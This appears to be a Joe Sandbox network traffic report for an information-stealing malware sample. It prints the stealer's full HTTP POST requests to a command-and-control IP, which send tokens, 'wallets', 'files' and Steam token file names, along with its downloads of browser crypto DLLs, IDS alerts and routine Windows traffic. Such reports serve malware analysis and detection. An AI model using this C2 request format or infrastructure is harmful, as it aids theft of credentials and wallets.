Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFBGHCAKKFCAKEBKJKKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 66 39 38 61 62 36 30 65 65 38 66 64 32 63 64 66 36 34 36 31 66 63 61 33 39 65 35 36 35 61 32 37 64 34 35 33 37 63 65 62 36 63 30 66 62 33 32 64 33 64 38 65 39 39 34 33 36 66 64 33 31 31 38 35 36 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="file"------DAFBGHCAKKFCAKEBKJKK--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIEGCBKEGCFCBFIDBFIIHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKJKEHIJECGCBFIJEGIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 66 39 38 61 62 36 30 65 65 38 66 64 32 63 64 66 36 34 36 31 66 63 61 33 39 65 35 36 35 61 32 37 64 34 35 33 37 63 65 62 36 63 30 66 62 33 32 64 33 64 38 65 39 39 34 33 36 66 64 33 31 31 38 35 36 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 2d 2d 0d 0a Data Ascii: ------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="message"wallets------FBKJKEHIJECGCBFIJEGI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHIDAKECFIEBGDHJEBKHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 66 39 38 61 62 36 30 65 65 38 66 64 32 63 64 66 36 34 36 31 66 63 61 33 39 65 35 36 35 61 32 37 64 34 35 33 37 63 65 62 36 63 30 66 62 33 32 64 33 64 38 65 39 39 34 33 36 66 64 33 31 31 38 35 36 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="message"files------AEHIDAKECFIEBGDHJEBK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 66 39 38 61 62 36 30 65 65 38 66 64 32 63 64 66 36 34 36 31 66 63 61 33 39 65 35 36 35 61 32 37 64 34 35 33 37 63 65 62 36 63 30 66 62 33 32 64 33 64 38 65 39 39 34 33 36 66 64 33 31 31 38 35 36 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="file"------FBFHDBKJEGHJJJKFIIJE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIEBAFCBKFIDGCAKKKFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 66 39 38 61 62 36 30 65 65 38 66 64 32 63 64 66 36 34 36 31 66 63 61 33 39 65 35 36 35 61 32 37 64 34 35 33 37 63 65 62 36 63 30 66 62 33 32 64 33 64 38 65 39 39 34 33 36 66 64 33 31 31 38 35 36 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 42 41 46 43 42 4b 46 49 44 47 43 41 4b 4b 4b 46 2d 2d 0d 0a Data Ascii: ------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------HIIEBAFCBKFIDGCAKKKFContent-Disposition: form-data; name="message"ybncbhylepme------HIIEBAFCBKFIDGCAKKKF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGIJECGDGCBKECAKFBGCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 65 66 61 37 62 66 39 38 61 62 36 30 65 65 38 66 64 32 63 64 66 36 34 36 31 66 63 61 33 39 65 35 36 35 61 32 37 64 34 35 33 37 63 65 62 36 63 30 66 62 33 32 64 33 64 38 65 39 39 34 33 36 66 64 33 31 31 38 35 36 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 2d 2d 0d 0a Data Ascii: ------DGIJECGDGCBKECAKFBGCContent-Disposition: form-data; name="token"7efa7bf98ab60ee8fd2cdf6461fca39e565a27d4537ceb6c0fb32d3d8e99436fd311856e------DGIJECGDGCBKECAKFBGCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DGIJECGDGCBKECAKFBGC--

Source: Joe Sandbox View	IP Address: 152.195.19.97 152.195.19.97
Source: Joe Sandbox View	IP Address: 18.244.18.27 18.244.18.27
Source: Joe Sandbox View	IP Address: 20.125.209.212 20.125.209.212

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49888 -> 185.215.113.206:80

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49971 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=yp9YfE+M7HxYvMY&MD=D7Zz7GSn HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
